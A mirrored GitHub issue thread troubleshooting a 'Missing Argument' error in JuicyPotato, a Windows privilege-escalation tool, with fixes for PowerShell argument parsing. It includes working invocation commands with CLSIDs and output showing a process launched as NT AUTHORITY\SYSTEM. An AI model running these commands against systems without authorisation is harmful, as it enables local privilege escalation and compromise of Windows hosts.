Giter Site home page Giter Site logo

Missing Argument error about juicy-potato HOT 5 OPEN

ohpe avatar ohpe commented on September 24, 2024
Missing Argument error

from juicy-potato.

Comments (5)

SagiSatish avatar SagiSatish commented on September 24, 2024 3

I got the same error. For some reason, it worked when i called it with "cmd /c".

PS C:\users\test\Desktop> .\jp.exe -t * -p C:\users\test\Desktop\test.bat -l 9001 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}

Wrong Argument: -
JuicyPotato v0.1 

Mandatory args: 
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args: 
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z only test CLSID and print token's user

PS C:\users\test\Desktop> cmd /c "jp.exe -t * -p C:\users\test\Desktop\test.bat -l 9001 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}"
Testing {8BC3F05E-D86B-11D0-A075-00C04FB68820} 9001
......
[+] authresult 0
{8BC3F05E-D86B-11D0-A075-00C04FB68820};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

from juicy-potato.

ohpe avatar ohpe commented on September 24, 2024

-p is a mandatory argument, maybe it's that the problem.

from juicy-potato.

mfaerevaag avatar mfaerevaag commented on September 24, 2024

I'm not sure that is true, as the test-clsid.bat script manages fine without it: https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat#L8

from juicy-potato.

Pusher91 avatar Pusher91 commented on September 24, 2024

If you are using this with powershell (i.e PS C:\users\test\Desktop>) you will get this error. cmd /c does it make it work within a powershell command prompt though.

from juicy-potato.

Esra11 avatar Esra11 commented on September 24, 2024

You should put the CLSID betweeb double quotations, like this: "{90F18417-F0F1-484E-9D3C-59DCEEE5DBD8}"
Although I see not everyone had to do this

from juicy-potato.

Related Issues (16)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.